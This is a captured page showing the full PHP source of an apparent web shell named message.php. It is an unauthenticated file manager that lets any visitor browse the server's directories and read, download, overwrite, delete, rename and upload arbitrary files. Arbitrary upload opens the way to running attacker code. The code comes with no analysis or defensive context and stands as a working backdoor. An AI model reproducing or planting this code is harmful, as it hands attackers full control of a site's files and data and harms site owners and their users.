Edit File

Editing: message.php

<?php

$currentDir = realpath($_GET['dir'] ?? getcwd());
$action = $_GET['action'] ?? '';
$file = isset($_GET['file']) ? realpath($_GET['file']) : '';

if ($action === 'download' && $file && file_exists($file)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="' . basename($file) . '"');
    header('Content-Length: ' . filesize($file));
    readfile($file);
    exit;
}

if ($action === 'view' && $file && file_exists($file)) {
    echo "<body style='background:#000;color:#fff;font-family:monospace;'><h3>Viewing: " . htmlspecialchars($file) . "</h3>";
    echo "<pre>" . htmlspecialchars(file_get_contents($file)) . "</pre>";
    echo "<a href='?dir=" . urlencode(dirname($file)) . "' style='color:#0ff;'>Back</a></body>";
    exit;
}

if ($action === 'edit' && $file && file_exists($file)) {
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        file_put_contents($file, $_POST['content']);
        echo "<span style='color:lime;'>Saved successfully.</span><br><br>";
    }

echo "<!DOCTYPE html><html><head><title>Edit File</title>
    <style>
        body { background: #000; color: #fff; font-family: monospace; margin: 20px; }
        textarea {
            width: 100%;
            height: 500px;
            background: #111;
            color: #fff;
            border: 1px solid #333;
            padding: 10px;
            font-family: monospace;
            font-size: 14px;
            border-radius: 4px;
        }
        button {
            background: #222;
            color: #fff;
            border: 1px solid #555;
            padding: 8px 16px;
            cursor: pointer;
            margin-top: 10px;
        }
        a {
            color: #0ff;
            text-decoration: none;
            display: inline-block;
            margin-top: 20px;
        }
    </style></head><body>";

echo "<h2>Editing: " . htmlspecialchars(basename($file)) . "</h2>";
    echo "<form method='post'>
            <textarea name='content'>" . htmlspecialchars(file_get_contents($file)) . "</textarea><br>
            <button type='submit'>💾 Save</button>
          </form>";
    echo "<a href='?dir=" . urlencode(dirname($file)) . "'>← Back to Dir</a>";

echo "</body></html>";
    exit;
}

if ($action === 'delete' && $file && file_exists($file)) {
    unlink($file);
    header("Location: ?dir=" . urlencode(dirname($file)));
    exit;
}

if ($action === 'rename' && $file && file_exists($file)) {
    $dir = dirname($file);
    $oldName = basename($file);

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        $newName = basename($_POST['new_name']);
        $newPath = $dir . DIRECTORY_SEPARATOR . $newName;

if (!preg_match('/^[\w\-. ]+$/', $newName)) {
            echo "<span style='color:red;'>Invalid filename.</span>";
        } elseif (file_exists($newPath)) {
            echo "<span style='color:red;'>A file with that name already exists.</span>";
        } elseif (rename($file, $newPath)) {
            echo "<span style='color:green;'>File renamed successfully.</span><br>";
            echo "<a href='?dir=" . urlencode($dir) . "' style='color:#0ff;'>Back</a>";
            exit;
        } else {
            echo "<span style='color:red;'>Rename failed.</span><br>";
        }
    }

echo "<body style='background:#000;color:#fff;font-family:monospace;'>";
    echo "<h3>Renaming: " . htmlspecialchars($oldName) . "</h3>
    <form method='post'>
        New name: <input type='text' name='new_name' value='" . htmlspecialchars($oldName) . "'><br><br>
        <button type='submit'>Rename</button>
    </form>
    <a href='?dir=" . urlencode($dir) . "' style='color:#0ff;'>Cancel</a></body>";
    exit;
}

if (!empty($_FILES['upload'])) {
    $target = $currentDir . DIRECTORY_SEPARATOR . basename($_FILES['upload']['name']);
    if (move_uploaded_file($_FILES['upload']['tmp_name'], $target)) {
        echo "<span style='color:green;'>Uploaded successfully.</span><br>";
    } else {
        echo "<span style='color:red;'>Upload failed.</span><br>";
    }
}

echo "<!DOCTYPE html><html><head><title>File Manager</title> <style>
    body { background: #000; color: #fff; font-family: monospace; }
    a { text-decoration: none; }
    .green { color: #0f0; }
    .yellow { color: #ff0; }
    .red { color: #f00; }
    .blue { color: #0af; }
    li a:hover { text-decoration: underline; }
</style></head><body>";

echo "<h2>Dir of " . htmlspecialchars($currentDir) . "</h2>";
echo "<form method='post' enctype='multipart/form-data'>
        <input type='file' name='upload'>
        <button type='submit'>Upload</button>
      </form><br>";

echo "<ul>";
$parent = dirname($currentDir);
if ($parent && $parent !== $currentDir) {
    echo "<li><a href='?dir=" . urlencode($parent) . "' style='color:#0ff;'>Parent Directory</a></li>";
}

foreach (scandir($currentDir) as $item) {
    if ($item === '.' || $item === '..') continue;
    $fullPath = $currentDir . DIRECTORY_SEPARATOR . $item;
    $encoded = urlencode($fullPath);

if (is_file($fullPath)) {
        echo "<li title='" . htmlspecialchars($item) . "'>" . htmlspecialchars($item);
        echo " | <a href='?action=rename&file=$encoded' class='green'>Rename</a>";
        echo " | <a href='?action=edit&file=$encoded' class='yellow'>Edit</a>";
        echo " | <a href='?action=delete&file=$encoded' class='red' onclick='return confirm(\"Delete this file?\");'>Delete</a>";
        echo " | <a href='?action=download&file=$encoded' class='blue'>Download</a></li>";
    } else {
        echo "<li><a href='?dir=$encoded' style='color:#0ff;' title='" . htmlspecialchars($item) . "'>" . htmlspecialchars($item) . "/</a></li>";
    }
}
echo "</ul>";

echo "</body></html>";

← Back to Dir